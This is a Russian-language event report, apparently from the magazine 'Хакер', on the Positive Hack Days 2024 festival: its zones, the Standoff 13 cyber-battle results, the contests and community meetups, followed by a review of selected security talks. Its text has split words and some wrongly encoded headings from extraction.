И тут же, непода леку от этой локации, была дет ская зона Kidzania. Для сов сем
юных посети телей кибер фести валя играл целый пер сональ ный дид жей.

Зо на Kidzania

Раз говор по душам

Чуть левее — локация с раз вле чени ями для посети телей пос тарше, где все
жела ющие с головой ухо дили в игры, вклю чая VR, и даже при обща лись
к искусс тву в виде необыч ного, но доволь но кра соч ного боди-арта.

Ком ната с раз нооб разны ми раз вле чени ями

OMG VR, воис тину!

Про цесс соз дания оче ред ного шедев ра

Уг роз не обна руже но. Верю!

Мас тер ская по соз данию подоб ной кра соты

ÇÀÊÐÛÒÀß ÇÎÍÀ ÔÅÑÒÈÂÀËß

Та кая уж ли она зак рытая — воп рос воп росов. Объ ясню: зак рытая часть фес- 
тиваля под разуме вала дос туп к ряду спе циаль ных активнос тей и док ладов,
но на прак тике про ник нуть туда не сос тавля ло тру да. Ник то не про верял бей- 
джи — глав ное, что бы они были. Единс твен ным исклю чени ем была зона кон- 
курсов в зда нии Standoff — там бей джи вни матель но изу чали на обо их вхо дах.

Не ска жу, что про никать на PHD без билета было пря мо-таки необ- 
ходимо, — цены начина ются от 1000 руб лей, что впол не демок ратич но.
С дру гой сто роны, для некото рых пер сонажей халява и прик лючения —
это самоцель, и на PHD такие ребята однознач но были.

Рас писание

Так что же собой пред став ляла зак рытая зона фес тиваля? Гру бо говоря,
это тот самый Positive Hack Days, каким он был до пре обра зова ния в кибер- 
фести валь: док лады спе циалис тов про кибер без и биз нес, эпич ная заруба
под наз вани ем Standoff и клас сичес кие кон курсы вро де 2drunk2hack, IDS
Bypass, $natch и дру гие.

Продолжение статьи →

https://t.me/giftfromtherift
https://phdays.com/
https://phdays.com/forum/program/?date=2024%2F5%2F23
https://phdays.com/forum/program/?date=2024%2F5%2F24
https://phdays.com/forum/program/?date=2024%2F5%2F25
https://phdays.com/forum/program/?date=2024%2F5%2F26
https://vk.com/video863646303_456239019
https://vk.com/video863646303_456239021
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ÄÎÊËÀÄÛ

Тут у меня было стой кое ощу щение, что акцент с «Offence/Defense» переко- 
чевал в нап равле ние «Биз нес». Решил про верить, и вот что получи лось:

 — 96 док ладов, из которых на «Кибер безопас ность» приш- 

лось 39 док ладов, в то вре мя как на «Биз нес» при шел ся 31 док лад;

• äåíü 1

 — 120 док ладов: «Кибер безопас ность» — 31 док лад, «Биз нес» —
55 док ладов;

• äåíü 2

 — 115 док ладов: «Кибер безопас ность» — 48 док ладов, «Биз- 

нес» — 30 док ладов;

• äåíü 3

 — 80 док ладов: «Кибер безопас ность» — 1 док лад, «Биз нес» —

18 док ладов.

• äåíü 4

В ито ге: 411 док ладов за четыре дня фес тиваля по всем тре кам,
из них 119 док ладов было в катего рии «Кибер безопас ность» и 134 док лада —
в катего рии «Биз нес». Тре ки «Offence» и «Defense» за все вре мя фес тиваля
порадо вали слу шате лей 15 и 19 док ладами соот ветс твен но.

Ла да Анти пова чита ет док лад

Не повери те, но сегод ня мы будем учить ся ломать! Ломать пол ностью!

Рас ска зу о приг лянув шихся мне док ладах я пос вящу отдель ный матери ал,
а вот про Standoff и кон курсы имею что ска зать пря мо сей час.

STANDOFF 13

Вход в зал Standoff

Зал Standoff 13

В этом году кибер битва Standoff рас ширилась до уже двух вир туаль ных
государств. К «Государс тву F» при бави лось еще «Государс тво S». Объ ем
работ таким обра зом уве личил ся для команд как «крас ных» (ата ка), так
и «синих» (защита, рас сле дова ние инци ден тов).

WWW

Офи циаль ная вики по Standoff

Зал Standoff, на экра не под сказ ка для тех, кто забыл, где он/она находит -
ся

На этом новов ведения не закон чились, а, мож но ска зать, толь ко начались,
потому что за появ лени ем нового вир туаль ного государс тва пос ледова ло
и изме нение в пра вилах кибер битвы. Учи тывая воз никшую неод нознач ность
вок руг это го решения, не думаю, что силь но испорчу кому-то интри гу, зас пой- 
лерив итог Standoff 13:

«

»

Ïî áåäè ëî «Ãîñóäàðñ òâî F»
Îä íà èç êîìàíä «Ãîñóäàðñ òâà F» 

çà ãîñóäàðñ òâåí íûå êðè òè÷åñ êèå ñîáûòèÿ, ðåàëè çîâàí íûå êðè òè÷åñ êèå
ñîáûòèÿ è âûÿâ ëåííûå óÿç âèìîñ òè.

çà âåð øèëà áèò âó ñ 0 áàë ëîâ

Ðå çóëü òàòû:
«Ãîñóäàðñ òâî S» — 3,23 

«Ãîñóäàðñ òâî F» — 3,42

Ко ман ды ата кующих смог ли реали зовать 415 кри тичес ких событий и обна- 
ружить 617 уяз вимос тей, боль ше все го закош марив 23 уни каль ными кри-
тичес кими событи ями бан ков скую отрасль и мень ше напора про явив в атом- 
ной про мыш леннос ти, реали зовав два уни каль ных кри тичес ких события.

Ко ман ды защит ников пре дот вра тили 115 кри тичес ких событий, рас сле- 
дова ли 182 успешные ата ки и выяви ли 851 инци дент.

Ре зуль таты основно го эта па кибер битвы опре деля лись по сред нему
количес тву реали зован ных событий сре ди всех активных команд каж дого
государс тва, пос ле чего начались ста дии плей-офф и плей-ин, где игра ли уже
по четыре луч шие коман ды из каж дого государс тва.

Про межу точ ные резуль таты кибер битвы

INFO

Ко ман да DreamTeam (дей ству ющие чем пионы)
выиг рала кибер битву и получи ла наг раду
в 800 тысяч руб лей. Вто рое мес то в плей-офф
заб рали кудес ники из ℭ𝔲𝔩𝔱, третье — DeteAct x
SPbCTF, чет вертое — GISCYBERTEAM.

Ряд записей на канале Standoff 365 в Telegram хорошо про иллюс три ровал
отно шение активной час ти сооб щес тва к Standoff в этом году: в реак ции
обиль но накида ли какашек. Мы же не будем под робно оста нав ливать ся
на деталях дра мы, если тебе инте рес но, можешь почитать в телег- 
рам-каналах учас тни ков:
• FCK HARDER
• True0xA3
• Kappa CTF
• Riocool

На деюсь, орга низа торы услы шат игро ков, сде лают выводы и на сле дующий
год мы будем радовать ся кибер битве и болеть за новых учас тни ков, а не
грус тно наб людать какаш козаки датель ство.

Тем не менее я счи таю, что все учас тни ки молод цы, всем пах лава! Всех
обнял, под нял, пок ружил и запус тил в тол пу пок лонниц и пок лонни ков!

ÊÎÍÊÓÐÑÛ

Суть кон курсов: весело и инте рес но про вес ти вре мя, посорев новать ся с дру- 
гими горячи ми голова ми, зарабо тать бал лы для пос леду юще го их обме на
на атри бути ку фес тиваля. Прос то и ясно, но и тут не без новов ведений.

Ба за кон курса «Взлом Web3»

В этом году в кон курсах орга низа торы соз дали собс твен ную игро вую крип- 
товалю ту под наз вани ем POSI token. Как выяс нилось в про цес се, ее реали- 
зация нем ного хро мала, что порож дало раз ные теории о том, почему так слу- 
чилось. Одна ко это не помеша ло час ти игро ков выпол нять задачи кон курсов,
как говорит ся, всем кол хозом, тем самым нарушая пра вила. Это в ито ге при- 
вело к  от орга низа торов в виде занижен ных начис лений игро вой
валюты за выпол ненные задания. Дос туп к халяве был слег ка усложнен,
лутать ся ста ло тяжелее! :)

штра фу

Ба за кон курса AI CTF

Не шуточ ное интеллек туаль ное нап ряжение в зоне кон курса IDS Bypass

Все го было шесть кон курсов: IDS Bypass, $natch, AI CTF, «Взлом Web3»,
леген дарный 2drunk2hack (aka «Наливай-ка») и SEQuest. Если с пер выми
пятью кон курса ми все более-менее ясно и понят но, то вот пос ледний кон- 
курс — SEQuest — был сов сем новым и заин три говал мно гих еще за двое
суток до начала фес тиваля.

Вин ни-Пух с Пятач ком как бы недо уме вают. Кон курс $natch

SEQuest — это Social Engineering Quest, где жела ющим адре нали на и ярких
впе чат лений пред лагалось сорев нование по софт скил лам, которы ми поль- 
зуют ся зло умыш ленни ки при ата ках методом соци аль ной инже нерии. Ска жу
чес тно, меня кон курс тоже заин тересо вал, но, заранее раз добыв и изу чив
пра вила кон курса, я воз держал ся от учас тия. Поз же выяс нилось, что не ошиб- 
ся. Почему? Рас ска жу далее.

Ба за кон курса SEQuest

В теории суть кон курса была прос той, как два бай та: перехит ри волон теров,
орга низа торов и охра ну, выпол ни семь заданий, не прив лекая вни мания
санита ров, зарабо тай очки и получи памят ный приз, если выбь ешься в трой ку
лидеров.

На пер вый взгляд выг лядит кру то, что же не так? Во-пер вых, пра вила
для такого кон курса были явно сырыми, а это уже мес тами сулило неил люзор- 
ные проб лемы для жаж дущих сла вы Мит ника учас тни ков. Во-вто рых, было
оче вид но, что тех бедолаг из чис ла волон теров и орга низа торов, которых
раз мота ют в про цес се кон курса, будут как минимум жес тко песочить
в режиме реаль ного вре мени, и так оно и слу чалось в ито ге, при чем нес коль- 
ко раз. В общем, я решил, что не сто ит впи сывать ся в это сом нитель ное
мероп риятие ради кур тки с сим воликой кон курса.

У тех, кто таки решил поучас тво вать, а так же у волон теров и самих орга- 
низа торов оста лись яркие и незабы ваемые впе чат ления от нового кон курса.
Инте рес ные момен ты — сно ва в телег рам-каналах:

нес коль ко пос тов Никиты Попова: , , , ;• 1 2 3 4
;• Алек сей Лукац кий

.• Сер гей Зыб нев

Воз можным сце нари ем успешно го выпол нения задач SEQuest любез но
поделил ся  на офи циаль ном канале  в Telegram —
это вооб ще какая-то магия вне «Хог вар тса», пос пеши при пасть к муд рости!

@dontunique кон курсов PHD

В общем, задум ка велико леп ная, но реали зация пока не без изъ янов. Уве- 
рен, через год мы сно ва получим шанс испы тать судь бу в SEQuest и пот- 
репать нер вы орга низа торам, но уже с более про рабо тан ными пра вила ми
и закален ными в боях про тив СИ волон терами.

ÑÎÎÁÙÅÑÒÂÎ

Бы ло мно го встреч, и осо бен но душев но про ходи ли сход ки каналов и чатов.
Так ска зать, вир туаль ные зна комс тва логичес ки тран сфор мирова лись в зна- 
комс тва реаль ные, если к это му момен ту кто-то еще кого-то не знал лич но.
Безум цы и гении, хулига ны и кра сави цы!

Сход ка канала @Poxek

Шел тре тий день фес тиваля. Юра: «Этот мир мне стал абсо лют но
понятен...»

Еще одна инте рес ная встре ча. Наде юсь, сни мок на Polaroid удал ся

Мо лодежь была вез де, впи тыва ла про исхо дящее, сни мала рил сы и стро ила
пла ны на всю жизнь — это даже мило. Отрадно видеть и осоз навать, что
в 2024 году юно ши и девуш ки так конс трук тивно под ходят к мыс лям о сво ем
бли жай шем будущем и дела ют это на таком мероп риятии. Мень ше тре вог
и сом нений, вы в пра виль ном мес те и в нуж ное вре мя. Дер зай те!

Стенд PT Start

Стенд жур нала «Хакер» выгод но отли чал ся от про чих локаций сво им минима- 
лис тичным офор мле нием, инте рес ным дизай ном, ярким мер чем и гос тепри- 
имной коман дой в лице Дмит рия Ага руно ва и его оча рова тель ных помощ ниц.

 под писчи ков жур нала на кофе и инте рес ные беседы было
не фигурой речи и не веж ливостью, а самым нас тоящим при зывом к дей- 
ствию, в чем я лич но убе дил ся вечером треть его дня фес тиваля. Далее в сти- 
хах. Пес ню, уве рен, ты зна ешь:

Приг лашение

«

»

Èç ìîòàí íûé ïðîã ðàììîé (ôåñ òèâàëÿ), ÿ âûáèë ñÿ èç ñèë. 
Íà ñòåí äå «Õàêåðà» ÿ ïîêîÿ ïîï ðîñèë. 
Ñ óëûá êîé äîá ðîäóø íîé Äìèò ðèé ìåíÿ ïóñ òèë 
È æåñ òîì äðó æåëþá íûì íà êîôå ïðèã ëàñèë.

Õýé!
Áóäü êàê äîìà, õàêåð, 

ß íè â ÷åì íå îòêà æó!
Ñêèä êó íà ïîä ïèñêó, 

Êîëü æåëà åøü, ïîäàðþ!

Мо раль сей пес ни такова: для под писчи ков жур нала тра дици онно были луч- 
шие усло вия.

Офор мле ние стен да, жур нал «Хакер»

На этом же стен де слу чилось при ятное зна комс тво с Ази зом А. (C7 Security)
и его спут ницей, обмен визит ками, сти кера ми, под пись кни ги и сов мес тная
фотог рафия на память. А даль ше, пока я отды хал, потяги вая вкус ный кофе,
рядом дид жей раз давал бас и ломаные рит мы, да так раз давал, что у Дмит рия
ноги пря мо про сились в пляс. Так и надо жить!

Утом ленный жарой дид жей :)

Мерч фес тиваля не вызыва ет вос торгов уже вто рой год под ряд, посети тели
жалу ются, и орга низа торы в кур се этих мне ний. Зато меня порадо вал мерч
«Хакера»! Сти керы и новый дизайн фут болок уда лись на сла ву, за что мыс-
ленно-реаль но-вир туаль но хва лим  и решитель но обкле иваем свои
ноут буки новыми нак лей ками.

@yambuto

ÀÓÒÐÎ

Для кого нынеш ний фес тиваль Positive Hack Days? Для раз работ чиков? Энту- 
зиас тов? Хакеров? Для биз неса? Для про фи?

Мес то наш лось всем, но теперь с боль шим акцентом на биз нес. 
я обоз начил эту тран сфор мацию PHD из форума в фес тиваль как «мень ше
андегра унда, боль ше мей нстри ма», и не ошиб ся. В этом году ста ло отчетли во
вид но, в какую сто рону идет дви жение, и в общих чер тах ясно, чего ждать
в будущем.

Год назад

Мас штаб мероп риятия сно ва уве личил ся, экспе римент про дол жает ся,
некото рые ошиб ки прош лого года про рабо таны, и про рабо таны хорошо.
Без сюр при зов и нюан сов не обош лось, но это даже к луч шему, ведь будет
чем при ятно уди вить в сле дующем году.

От дых в пар ке

Как и рань ше, гос ти PHD получа ли то, за чем при ходи ли: кто-то лутал мерч,
кто-то общался с при яте лями и кол легами, кто-то слу шал док лады, спал
в пар ке на удоб ной подуш ке или пля сал под Levandowskiy & SCHE, а кто-то
вооб ще объ еди нял все это по мере воз можнос ти.

В эти четыре дня фес тиваля нас вновь соб рали вмес те, и лич но я был чер- 
тов ски рад этой встре че! За что от души бла года рю как орга низа торов, так
и всех без исклю чения учас тни ков кибер фести валя. До встре чи через год!

WWW

Фо тог рафии с мероп риятия в ВК: , • 1 2
Нес коль ко видео: , , , , , • 1 2 3 4 5 6
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https://t.me/alukatsky/10647
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В этом году инте рес ных док ладов
на PHDays было еще боль ше, так что
и делать под борку ста ло слож нее. Перек- 
рыва ющие друг дру га по вре мени док лады
посетить невоз можно, но орга низа торы
любез но и край не опе ратив но опуб ликова- 
ли записи выс тупле ний прак тичес ки день
в день, так что любой жела ющий лег ко
может вос ста новить про белы, что я и сде- 
лал. При соеди няй ся!

Что было новень кого? Сек ция Fast Track ста ла кру че: док ладов здесь в целом
ста ло боль ше, и попада лись край не инте рес ные. Сек ции «Кибер без: с чего
начать» (далее прос то «Кибер без») и Community тоже порадо вали — на них
матери ал раз бирали поч ти что на паль цах.

И отдель но спа сибо орга низа торам за воз можность пос мотреть видео
док ладов и ска чать пре зен тации — это удоб но и эко номит кучу вре мени.

1. ÃÎÒÎÂÛ ËÈ ÐÎÑÑÈÉÑÊÈÅ ÊÎÌÏÀÍÈÈ ÏÐÎÒÈÂÎÑÒÎßÒÜ
ÊÈÁÅÐÀÒÀÊÀÌ?

 Кибер без• Òðåê:

 Антон Иса ев (Positive Technologies) и Федор Чуниже ков (Positive
Technologies)

• Ñïè êåðû:

• Çà ïèñü äîê ëàäà

• Ïðå çåí òàöèÿ, PDF

Хо роший стар товый док лад фес тиваля. Пока зри тели нас тра ива лись на ритм
PHDays, Антон и Федор рас ска зали им о том, нас коль ко хорошо оте чес твен- 
ные ком пании готовы про тивос тоять кибера такам.

Ис сле дова ние осно вано на резуль татах опро са, про веден ного в пер вом
квар тале 2024 года, в нем поучас тво вало 650 рес понден тов из более
чем 60 рос сий ских ком паний. Целью иссле дова ния было выявить проб лемы
орга низа ций в воп росах готов ности про тиво дей ство вать кибера такам. Пря мо
ска жем, акту аль но.

Ан тон и Федор рас ска зали, из чего скла дыва ется эта самая готов ность
про тивос тоять кибера такам, подели лись резуль татами сво его иссле дова ния,
рас ска зали о базовых проб лемах в воп росах обес печения киберус той чивос- 
ти (обра ти вни мание на этот мод ный тер мин) и завер шили выс тупле ние
рекомен даци ями. Про вспо мога тель ные инс тру мен ты для под готов ки
инфраструк туры ком пании к отра жению злос тных атак тоже не забыли.

2. ÎØÈÁÊÈ ÏÐÈ ÐÅÀÃÈÐÎÂÀÍÈÈ ÍÀ ÈÍÖÈÄÅÍÒÛ Â 2023–2024
ÃÎÄÀÕ

 Defense• Òðåê:

 Сер гей Голова нов («Лабора тория Кас пер ско го»)• Ñïè êåð:

• Çà ïèñü äîê ëàäà

• Ïðå çåí òàöèÿ, PDF

Бод рый во всех смыс лах док лад глав ного экспер та «Лабора тории Кас пер ско- 
го». Сер гей начал с позитив ного при ветс твия, отлично рас крыл тему и закон- 
чил рекомен даци ями.

Спи кер рас ска зал о двух самых лютых проб лемах прош лого года — шиф- 
ровании и кра же дан ных. Сот рудни ки ком паний, с обе их ног вле тев ших
в обоз начен ные проб лемы, успе вали солид но напор тачить, ведь подоб ные
ата ки слу чались в их прак тике впер вые. Наибо лее эффек тные косяки: самос- 
тоятель ное унич тожение яко бы заражен ных вирусом дан ных с компь юте ров;
бло киров ка сер веров обновле ний из-за выяв ленной подоз ритель ной сетевой
активнос ти; не замечен ные вов ремя инсай деры, спо соб ные слить огромный
объ ем информа ции. Да и спе циалис ты по рас сле дова ниям инци ден тов тоже
не всег да работа ют иде аль но: порой при нима ют не самые взве шен ные
решения и дела ют повер хностные выводы.

Как выжить в кру гово роте инци ден тов и их пос ледс твий, что делать, а чего
не делать — обо всем этом Сер гей рас ска зал в док ладе. Рекомен дую к прос- 
мотру!

3. ÎÏÅÐÀÖÈß «ÒÐÈÀÍÃÓËßÖÈß»: ÏÎ×ÅÌÓ ÍÅ ÍÀÄÎ ÀÒÀÊÎÂÀÒÜ
ÈÑÑËÅÄÎÂÀÒÅËÅÉ

 Defense• Òðåê:

 Леонид Без вершен ко («Лабора тория Кас пер ско го»), Борис

Ларин («Лабора тория Кас пер ско го») и Геор гий Кучерин («Лабора тория
Кас пер ско го»)

• Ñïè êåðû:

• Çà ïèñü äîê ëàäà

• Ïðå çåí òàöèÿ, PDF

При лич но нашумев шая исто рия, о которой ты, я уве рен, так или ина че слы- 
шал. Спе циалис ты «Лабора тории Кас пер ско го» выяви ли целенап равлен ную
ата ку на устрой ства Apple, пред став ляющую собой цепоч ку экс пло итов
нулево го дня и не тре бующую вза имо дей ствия с поль зовате лем. Прос то
отвал баш ки!

Бо рис, Леонид и Геор гий, слов но три муш кетера, прош ли дол гий, тер- 
нистый и пол ный прик лючений путь от выяв ления подоз ритель ной сетевой
активнос ти к обна руже нию и ана лизу арте фак тов зараже ния и закан чивая
под ловом зло умыш ленни ков на их же ошиб ках, за что иссле дова телям
отдель ная честь и пах лава.

« »
— Ýõ, ãîñ ïîäà, íàäî ïðè íèìàòü âî âíè ìàíèå âñå ñëó ÷àé íîñ òè!
Æèçíü — ýòî ÷åò êè, ñîñ òàâëåí íûå èç ìåë êèõ íåâ çãîä, è ôèëîñîô, ñìå- 
ÿñü, ïåðåáè ðàåò èõ («Òðè ìóø êåòåðà»)

Ито гом этих зах ватыва ющих дух прик лючений ста ло устра нение сра зу
четырех уяз вимос тей нулево го дня ( , , 

 и ) и обна руже ние слож ного и ранее пуб лично
неиз вес тно го шпи онско го ПО, которое спо кой но сущес тво вало на некото рых
устрой ствах Apple дол гие годы.

CVE-2023-41990 CVE-2023-32434 CVE-
2023-32435 CVE-2023-38606

По сло вам док ладчи ков, это было рас сле дова ние самой слож ной цепоч ки
атак, с которы ми ког да-либо име ли дело иссле дова тели «Лабора тории Кас- 
пер ско го».

4. ÏÎÃÐÓÆÅÍÈÅ Â ÄÀÐÊÍÅÒ: ÈÇÓ×ÅÍÈÅ ÏÑÈÕÎËÎÃÈ×ÅÑÊÈÕ
ÏÎÐÒÐÅÒÎÂ ÊÈÁÅÐÏÐÅÑÒÓÏÍÈÊÎÂ

 Defense• Òðåê:

 Анна Пав лов ская («Лабора тория Кас пер ско го»)• Ñïè êåð:

• Çà ïèñü äîê ëàäà

• Ïðå çåí òàöèÿ, PDF

Пот ряса ющий док лад — и по уров ню под готов ки, и по реали зации. Катего- 
ричес ки советую вни кать молодым и неопыт ным, у которых в голове мно го
кибер прес тупной роман тики, «чер ношляп ной» филосо фии и про чих опи лок.

« »«Ïîãîâî ðèì î òîì, ÷òî ïðî èñõî äèò ñî çëî óìûø ëåííè êàìè íà çàêàòå èõ
êàðü åðû... íó, ïîìèìî òþðåì íîãî çàê ëþ÷åíèÿ», — Àííà Ïàâ ëîâ ñêàÿ

Счи таю, что Анна с блес ком дос тигла в док ладе заяв ленной цели — вос- 
создать пси холо гичес кий пор трет неко его сред неста тис тичес кого кибер- 
прес тупни ка, что бы луч ше вник нуть в его логику, мотивы и про чие тон кости.
Для это го шел в ход монито ринг обще ния иссле дуемо го кон тинген та на прос- 
торах форумов в дар кне те. Это поз волило пог рузить ся в мир пси холо гии зло- 
умыш ленни ков, соб рать мно го дан ных для ана лиза и сде лать инте рес ные
выводы. Какие имен но выводы? Смот ри док лад и не забудь ска чать пре зен- 
тацию.

5. «ÊÀÊ ÌÛ ÈÑÊÀËÈ ÄÎÊÀÇÀÒÅËÜÑÒÂÀ ÊÎÌÏÐÎÌÅÒÀÖÈÈ ÍÀØÅÉ
ÑÅÒÈ»

 Defense• Òðåê:

 Никита Син кевич (Angara Security), Лада Анти пова (Angara
Security) — вла дели ца канала 

• Ñïè êåðû:

@s3Ch1n7
• Çà ïèñü äîê ëàäà

- • Пре зен тация, PDF

С пер вых же секунд выс тупле ния Лада Анти пова бой ко пог ружа ет нас в суть
дела: око ло года назад в Angara Security залете ло фишин говое пись мо,
качес твом исполне ния которо го Лада искрен не вос хитилась. Зло умыш ленни- 
ки пос тарались на совесть — молод цы!

« »«Øåäåâ ðàëü íî, ÿ áû ñêà çàëà!» — Ëàäà Àíòè ïîâà

Са мо пись мо было выпол нено прак тичес ки безуп речно, а во вло жени ях жда- 
ли вре донос ные бонусы. В общем, все по клас сике. Спе циалис ты Angara
Security рас сле дова ли это явле ние, написа ли под робную статью о про делан- 
ной работе, и казалось, что все хорошо. Но хорошо ли?

« »«Íàñ âçëî ìàëè èëè åùå íåò?»

Умиль ная исто рия с фишин говым пись мом и спе цифи чес кие ата ки через под- 
рядчи ков побуди ли экспер тов Angara Security занять ся самоп ровер кой, поис- 
ком доказа тель ств активнос ти зло умыш ленни ков в сво ей собс твен ной
инфраструк туре. Прос то на вся кий пожар ный.

Ни кита и Лада рас ска зали, что из это го выш ло, говори ли про Compromise
Assessment (CA), делились экспер тизой, в чем-то допол няя кол лег по цеху, а в
чем-то под мечая раз личия в видении рабочих про цес сов. Поз наватель но,
зло бод невно и бод ро. Рекомен дую.

6. ÂÀÌ ÏÈÑÜÌÎ: ÑÒÀÐÛÅ ÍÎÂÛÅ ÀÒÀÊÈ ÍÀ ÏÎ×ÒÓ

 Offense• Òðåê:

 Ели заве та Тишина (DeteAct) — Квкóро, вла дели ца канала

,  (SolidLab), автор канала

• Ñïè êåðû:

@hahacking Все волод Slonser Кокорин
@slonser_notes

• Çà ïèñü äîê ëàäà

• Ïðå çåí òàöèÿ, PDF

Без затяж ных пре людий ини циати ву взя ла в свои иссле дова тель ские руки
Ели заве та Тишина. Не прош ло и двух минут с начала док лада, а мы, слу шате- 
ли, уже пог ружались в теорию работы элек трон ной поч ты. RFC, про вер ки
валид ности, инъ екции, ай-ой, валидол, CVE и Python — поток тех ничес кой
информа ции, которую мы так любим и по которой так сос кучились. Кавыч ки
и хар дкор!

Ло комо тив док лада мчал ся впе ред, и, ког да оче редь дош ла до Все воло да
Кокори на, он с ходу резон но заметил, что иссле дова тели, хакеры и про чие
кибер безум цы обыч но дела ют то, чего не дела ют рядовые прог раммис ты,
а имен но: чита ют RFC (Request for Comments — докумен ты, опи сыва ющие
тех ничес кие спе цифи кации и стан дарты), что при водит к инте рес ным наход- 
кам и более глу боко му понима нию иссле дуемо го объ екта.

Квкóро и Слон сер дали мно го тех ничес кой информа ции, рас ска зали
об осо бен ностях работы элек тро поч ты, базовых поч товых про токо лах, спо- 
собах инъ екций кода в поч товую фун кци ональ ность и про чие безоб разия
подоб ного рода. В общем, для любите лей поковы рять веб док лад мак- 
сималь но полез ный.

7. ÁÀÃÁÀÓÍÒÈ: ÂÇÃËßÄ Ñ ÄÐÓÃÎÃÎ ÁÅÐÅÃÀ

 Offense• Òðåê:

 Петр Ува ров (VK)• Ñïè êåð:

• Çà ïèñü äîê ëàäà

• Ïðå çåí òàöèÿ, PDF

Это тот ред кий вид док ладов, ког да про баг баун ти-суету рас ска зыва ют
изнутри, то есть с позиции вен дора, а не баг ханте ра, иссле дова теля
или хакера. Матери ал спи кер подал интенсив но, пос ледова тель но и в кон це
сде лал инте рес ный вывод, что баг ханте ры — это новое золото.

На чал ся же док лад с базовых вещей: что такое баг баун ти-прог рамма,
зачем она нуж на биз несу и какие задачи она дол жна решать. Было край не
инте рес но пос лушать о том, что про исхо дит на сто роне вен дора в качес тве
реак ции на работу баг ханте ров: какая пос ледова тель ность при нима емых
решений, какие воз ника ют воп росы и проб лемы, как рас пре деля ют вып латы
за уяз вимос ти. В общем, вагон информа ции.

Док лад будет полезен всем: начина ющим и нетер пеливым баг ханте рам,
меч тающим «вка тить ся», и, разуме ется, ком пани ям, которые пла ниру ют
запус кать свои ББ-прог раммы.

8. ÊÒÎ ÑÒÓ×ÈÒÑß Â ÏÎ×ÒÓ? SOCIAL ENGINEERING 2024

 Offense• Òðåê:

 Кон стан тин Полишин (Positive Technologies)• Ñïè êåð:

• Çà ïèñü äîê ëàäà

• Ïðå çåí òàöèÿ, PDF

Кон стан тин сра зу же пред ста вил зри телям прог рамму сво его док лада:
HTML/PDF/SVG Smuggling, век торы URL, мак росы VBA, ата ки на раз работ- 
чиков, QR-коды и фишинг, оста вив напос ледок DLL Side-Loading. Как все
это свя зано с наз вани ем док лада? Хороший воп рос, сей час объ ясню.

Это сво его рода про дол жение или, если угод но, допол нение ,
который Кон стан тин про читал на пре дыду щем PHDays и который я советую
прос мотреть пер вым для луч шего понима ния темы. Так вот, речь идет о соци- 
аль ной инже нерии и о том, какой при меня ется арсе нал полез ных наг рузок.
А так же о век торах атак, которые зло умыш ленни ки исполь зуют для получе ния
началь ного дос тупа к сис темам.

док лада

« »
«ÑÈ ÿâëÿ åòñÿ ñàìûì ïðîñ òûì ñïî ñîáîì ïîëó÷å íèÿ íà÷àëü íîãî äîñ- 
òóïà, íî òîëü êî òîã äà, êîã äà ïðî äåëà íî ìíî ãî òåõ íè÷åñ êîé è èññëå- 
äîâà òåëü ñêîé ðàáîòû», — Êîí ñòàí òèí Ïîëèøèí

Пусть тебя не сму щает, что в док ладе перечис лены прос тые и хорошо извес- 
тные методы. Ведь глав ное, что они работа ют, а зна чит, точ но зас лужива ют
вни мания.

9. ÁÛËÎ ÂÀØÅ — ÑÒÀËÎ ÍÀØÅ: ×ÒÎ ÏÎËÅÇÍÎÃÎ ÌÎÆÍÎ ÍÀÉÒÈ
ÍÀ ÑÅÐÂÅÐÀÕ ÇËÎÓÌÛØËÅÍÍÈÊÎÂ

 Defense• Òðåê:

 Вла дис лав Азер ский (FACCT), Дмит рий Кар дава (FACCT)• Ñïè êåðû:

• Çà ïèñü äîê ëàäà

• Ïðå çåí òàöèÿ, PDF

Вла дис лав и Дмит рий занима ются в FACCT реаги рова нием на инци ден ты ИБ,
кри мина лис тикой и про чими увле катель ными вещами. В общем, они пред- 
став ляли отдел DFIR — Digital forensics and incident response. Сот рудни ки этой
служ бы дол жны не толь ко занимать ся реконс трук цией и иссле дова нием
инци ден тов ИБ, но и давать отве ты на ряд пос тавлен ных воп росов.

В док ладе спи керы рас ска зали о том, как, чем и зачем они работа ют
с обра зами сер веров ата кующих, какие арте фак ты находят, как про ходит ана- 
лиз дан ных, вклю чая жур налы событий. Погово рили о том, как пишут ся скрип- 
ты для пре обра зова ния логов и БД извес тных пос тэкс плу ата цион ных фрей- 
мвор ков в удоб ный для ана лиза вид.

Тех ничес кие нюан сы док лада щед ро раз бавле ны мемами, а в сек ции Q&A
есть ряд инте рес ных воп росов, советую не ски пать. А упо мяну тые скрип ты ты
най дешь .на GitHub

10. Ó×ÀÒ Â ØÊÎËÅ

 Fast Track• Òðåê:

 Антон Bo0oM Лопани цын (Passleak), автор канала 

и чата 

• Ñïè êåð: @webpwn

@webpwnchat
• Çà ïèñü äîê ëàäà

• Ïðå çåí òàöèÿ, PDF

Док лад из серии «заходи — не бой ся, выходи — не плачь», по сов мести тель- 
ству еще и один из завер шающих док ладов треть его дня фес тиваля. Это тот
уро вень, на котором не сов сем понят но, где про исхо дяще го безумия боль ше:
на сце не, на экра не или в зри тель ном зале. Лег кая, юмо рис тичес кая подача
матери ала поз волила рас крыть некото рые курь езные момен ты из прак тики
Анто на. Уяз вимос ти есть вез де: в том чис ле в сис темах, пред назна чен ных
для обу чения хакеров.

Вро де бы док лад по боль шей час ти полезен нович кам и вка тыва ющим ся,
но в зале в основном сидели самые стой кие любите ли похули ганить в вебе.

« »«Ñïà ñè áîã âñåõ íàñ!» — ãëà ñèëà ìîëü áà íà ôèíàëü íîì ñëàé äå ïðå- 
çåí òàöèè

Ка кая связь меж ду Simple Machines Forum, CyberEd, Moodle, кавыч кой,
Codeby и инстал лятором в кор не? Смот ри этот стре митель ный док лад
и мотай на ус, что баги есть вез де.

ÂÛÂÎÄÛ

В этом году кибер фести валь Positive Hack Days 2 порадо вал нас огромным
количес твом док ладов, обсужде ний и выс тупле ний. Под робнее я опи сал
это четырех днев ное безумие в .ре пор таже

И конеч но, все без исклю чения спи керы — молод цы! Опи сать в статье
каж дое кру тое выс тупле ние невоз можно, да и не нуж но. Советую заг лянуть
на офи циаль ный сайт фес тиваля, прой тись самос тоятель но по 

 и выб рать наибо лее инте рес ные тебе док лады, что бы затем их
с кай фом прос мотреть. Сами док лады ты най дешь на YouTube-канале 

. Сос тавь свое впе чат ление и не забудь им поделить ся в ком мента риях!

прог рамме
мероп риятия

Positive
Events

https://t.me/giftfromtherift
https://www.youtube.com/watch?v=l8fQl_Ei4mc
https://pt-phdays12.storage.yandexcloud.net/86/10_00_Vystuplenie_Isaev_Chunizhekov.pdf
https://www.youtube.com/watch?v=s2aGIv2jauc
